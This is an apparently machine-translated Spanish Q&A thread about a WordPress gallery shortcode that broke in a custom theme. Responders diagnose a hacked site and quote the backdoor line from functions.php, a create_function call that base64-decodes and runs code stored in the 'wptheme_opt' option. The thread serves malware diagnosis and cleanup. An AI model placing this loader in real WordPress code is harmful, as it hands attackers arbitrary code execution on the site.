WordPress predeterminado [gallery] no aparece en el tema personalizado

4 minutos de lectura

avatar de usuario
Ernest Sawyer

Todo estaba bien, hasta actualizaciones recientes. ya no muestra imágenes, y también parece que no está contenido en el código.

Aquí está el bucle para la página:

<?php
    // Start the loop.
    while ( have_posts() ) : the_post();?>
        <article id="post-<?php the_ID(); ?>" <?php post_class(); ?> role="article">
            <h1 class="entry-title"><?php the_title(); ?></h1>
                <div class="entry-content">
                    <?php the_content(); ?>
                </div><!-- .entry-content -->
        </article><!-- #post-<?php the_ID(); ?> -->
<?php   
    // End the loop.
    endwhile;
?>

Aparece contenido de texto de the_content, pero que está en el contenido, no se muestra ni se convierte en código (por lo que el problema no debería estar en javascript).

Y aquí está el archivo functions.php: http://pastebin.com/vfJpphgt (sí, he agregado compatibilidad con temas para la galería, pero no hay cambios)

  • ¿Es posible que eliminar el filtro de contenido impida que funcione el shortcode? Línea 45 en funciones.php

    –Scott Anderson

    14 de julio de 2015 a las 2:22

  • Además, si agrega después de “the_content” ¿funciona?

    –Scott Anderson

    14 de julio de 2015 a las 2:24

  • @ScottAnderson 1.) filtro de contenido -> sin cambios 2.) do_shortcode no funciona, no hay salida de galería en la página. Otros códigos cortos, como el formulario de contacto, etc., funcionan bien, por lo que no creo que sea un problema de códigos cortos en general.

    –Ernest Sawyer

    14 de julio de 2015 a las 14:11

  • @ScottAnderson y cuando convierto WP en el tema predeterminado, funciona (galerías). Entonces el problema seguramente está en algún lugar del tema.

    –Ernest Sawyer

    14 de julio de 2015 a las 14:28

  • -1 para: 1. publicar su código fuera del sitio, 2. enlazar a un sitio externo que no muestra el problema, 3. dejar código que potencialmente podría hacer absolutamente cualquier cosa, y no dar idea de lo que realmente hace: el última línea de su functions.php: add_action('init', create_function('', implode("\n", array_map("base64_decode", unserialize(get_option("wptheme_opt")))))); – nadie puede adivinar lo que está mal si no nos dejas ver lo que se está haciendo. Cómo crear un ejemplo mínimo, completo y verificable

    – Mikk3lRo

    16 de julio de 2015 a las 17:11


avatar de usuario
mrgrain

Tu sitio fue hackeado.

La última línea del pastebin está cargando código malicioso de su base de datos:
add_action('init', create_function('', implode("\n", array_map("base64_decode", unserialize(get_option("wptheme_opt")))))); ?>

El código ejecutado estropeará el WPQuery para recuperar los archivos multimedia de la Galería. por eso el está roto. (En realidad, puedes tener suerte con esa parte).

Puede encontrar una entrada sobre este malware en sucuri.net. Debe verificar todos sus archivos en el servidor en busca de la línea sospechosa. Aunque la ruta de ataque más probable es a través de una vulnerabilidad de WordPress, debe cambiar todas sus contraseñas en WordPress y en el servidor.

DESPUÉS de eliminar el malware, puede limpiar su WordPress con herramientas como valla de palabras (No tengo afiliación con el complemento o sus autores).

  • ¡Señor, usted es un verdadero maestro! ¡Funciona a las mil maravillas! ¡Muchas gracias!

    –Ernest Sawyer

    4 de agosto de 2015 a las 6:21

  • Se solucionó la vulnerabilidad de WP que probablemente se usó para obtener el código malicioso. lanzado hoy.

    – mrgrain

    04/08/2015 a las 21:19


intente instalar el complemento NextGEN Gallery, agregue las imágenes de la galería e intente mostrar en la página de inicio,

https://wordpress.org/plugins/nextgen-gallery/

  • Gracias por su respuesta, desafortunadamente, necesito corregir el código abreviado básico de la galería, no agregar otro complemento de la galería.

    –Ernest Sawyer

    15 de julio de 2015 a las 9:25

¿Ves algún error de javascript en la consola? y cual es la salida de

<?php echo do_shortcode('');?>

  • esto se ve mejor como comentario que como respuesta

    – Sagan el mejor

    14 de julio de 2015 a las 13:17

  • Como tengo una reputación por debajo de 50, no puedo comentar directamente sobre la pregunta.

    – un entierro

    15 de julio de 2015 a las 2:11

¿Ha sido útil esta solución?